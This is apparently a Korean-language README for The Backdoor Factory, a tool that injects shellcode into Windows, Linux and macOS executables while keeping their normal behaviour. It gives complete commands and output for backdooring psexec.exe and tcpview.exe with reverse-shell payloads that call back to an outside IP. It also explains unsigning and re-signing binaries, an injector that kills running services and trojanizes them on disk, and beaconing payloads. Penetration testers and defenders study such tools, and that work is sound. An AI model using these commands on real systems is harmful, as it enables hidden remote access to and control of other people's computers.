
셸코드로 PE, ELF, Mach-O 바이너리를 패치합니다. 새 버전은 개발 중이며 스폰서에게만 제공됩니다.
보안 전문가와 연구자 전용입니다.
BDF의 목표는 사용자가 원하는 셸코드를 실행 가능한 바이너리에 패치하고 패치 전 상태의 정상적인 실행을 계속하는 것입니다.
Black Hat USA 2015:
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Video: https://archive.org/details/joshpitts_shmoocon2015
Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Video: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U
Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
개발자에게 연락하려면:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
BSD 3-Clause License에 따라 배포됩니다.
위키를 참조하세요: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
###구식 방법
####의존성 #####OnionDuke를 사용하려면 반드시 Intel 머신이어야 합니다. aPLib는 아직 ARM 칩셋을 지원하지 않기 때문입니다.
Capstone engine은 PyPi에서 다음과 같이 설치할 수 있습니다:
sudo pip install capstone
Pefile, 최신 버전:
https://code.google.com/p/pefile/
osslsigncode (저장소에 포함됨):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Kali 설치:
apt-get update
apt-get install backdoor-factory
기타 *NIX/MAC 설치:
./install.sh
이 스크립트는 pefile 설치를 위해 pip 3.01로 Capstone을 설치합니다.
업데이트:
./update.sh
지원 대상:
Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
and Mach-O x86/x64 and those formats in FAT files
Packed Files: PE UPX x86/x64
Experimental: OpenBSD x32
일부 실행 파일에는 기본 제공 보호 기능이 있으므로 이 도구는 모든 바이너리에서 작동하지 않습니다. 대상 바이너리를 고객에게 배포하거나 실습에 사용하기 전에 테스트하는 것이 좋습니다. NSIS 우회를 거의 구현해 가는 중이며, 이러한 검사 우회 기능은 향후 포함될 예정입니다.
Many thanks to Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.
./backdoor.py -h Usage: backdoor.py [options]
##기능:
###PE 파일
Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
-Jump (j), for code cave jumping
-Single (s), for patching all your shellcode into one cave
-Append (a), for creating a code cave
-Ignore (i or q), nevermind, ignore this binary
Can ignore DLLs
Import Table Patching
AutoPatching (-m automtic)
Onionduke (-m onionduke)
###ELF 파일
Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.
###Mach-O 파일 Pre-Text Section patching and signature removal
###전체
The user can :
-Provide custom shellcode.
-Patch a directory of executables/dlls.
-Select x32 or x64 binaries to patch only.
-Include BDF is other python projects see pebin.py and elfbin.py
###기존 코드 케이브를 사용하여 exe/dll 패치하기:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###코드 섹션을 추가하여 exe/dll 패치하기:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###exe 디렉토리 패치하기: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...
###사용자 제공 셸코드: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.
###PE 코드 서명
BDF는 코드 서명 인증서가 있으면 PE 파일에 서명할 수 있습니다. osslsigncode를 사용합니다.
서명 인증서와 개인 키를 certs/ 디렉토리에 넣으세요. 이 블로그 게시물의 openssl 명령을 사용하여 인증서를 준비하세요: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
개인 키 비밀번호를 파일에 다음과 같이 (정확히 다음과 같이) 넣으세요:
echo -n yourpassword > certs/passFile.txt
인증서 이름을 다음과 같이 정확히 지정하세요:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
certs/ 디렉토리는 정확히 다음과 같아야 합니다:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
다음과 같이 -C 플래그로 PE 코드 서명을 활성화하세요:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
성공적으로 실행되면 BDF 출력에서 다음 줄을 볼 수 있습니다:
[*] Code Signing Succeeded
###사냥 및 백도어: 인젝터 | Windows 전용
The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
###변경 내역
####01/11/2016
####07/04/2016
####06/19/2016
####12/20/2015
####12/18/2015
####11/17/2015
####11/13/2015
####10/19/2015
####10/13/2015
####08/12/2015
'replace' PATCH_METHOD 추가 - 제공된 바이너리를 그대로 복사하는 PE copy pasta 방식
BDFProxy와 함께 사용하기 위한 용도
Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####08/11/2015
####08/05/2015
####5/01/2015
####4/28/2015
####4/14/2015
많은 업데이트가 있습니다:
PE 파일 자동 패칭 (*_threaded 페이로드와 함께 -m automatic 사용)
x86/x64 PE 파일용 새 IAT 페이로드
####2/14/2015 여러분을 사랑합니다 <3
winAPI 호출에 임포트 테이블을 사용하는 iat_reverse_tcp 페이로드를 지원하기 위해 PE에 Import Address Table 패칭 추가. 패치 대상 바이너리에 LoadLibraryA와 GetProcAddress가 없는 경우, 예를 들어 BDF는 새 섹션의 새 Import Table에 이를 패치합니다. x64/x86 PE를 지원합니다.
x64 PE용 iat_reverse_tcp 추가.
버그 수정 및 개선.
####1/1/2015
새해 복 많이 받으세요!
새 OS X 페이로드 두 가지! delay: delay_reverse_shell_tcp
-B 30 --> 페이로드를 30초 지연시키고, 메인 코드는 즉시 실행됩니다.
BDF에 포함하기 위한 고정된 capstone 커밋 설정, capstone 'Next' 저장소는 BDF를 깨뜨립니다.
cython capstone 구현의 null 바이트 잘림 문제를 지원하는 수정.
####12/27/2014
payloadtests.py 추가
이 스크립트는 사용자가 원하는 대로 페이로드를 테스트할 수 있도록 backdoored 디렉토리에 패치된 파일을 출력합니다. 각 페이로드 유형은 사용되는 포트를 1씩 증가시킵니다.
Usage: payloadtest.py binary HOST PORT
####12/17/2014
x86 및 x64용 OS X 비커닝 페이로드: beaconing_reverse_shell_tcp
-B 15 --> 비컨 시간을 15초로 설정
BDFProxy에서 OS X 지원을 위한 버그 수정
####10/11/2014
PE UPX 패칭 추가
####9/26/2014
Mach-O x86/x64 추가
x86 IAT 페이로드 최적화
####7/31/2014
ARM x32 LE ELF 패칭 지원 추가
####7/22/2014
FreeBSD x32 ELF 패칭 지원 추가
BSD 3-Clause License로 변경
####7/13/2014
Capstone 통합: http://www.capstone-engine.org/
Capstone을 추가하는 과정에서 약 500줄의 코드를 제거했습니다. 꽤 멋집니다.
loadliba_reverse_tcp를 iat_reverse_tcp로 이름 변경.
속도 관련 작은 최적화.
####5/30/2014
새로운 win86 셸코드 추가: loadliba_reverse_tcp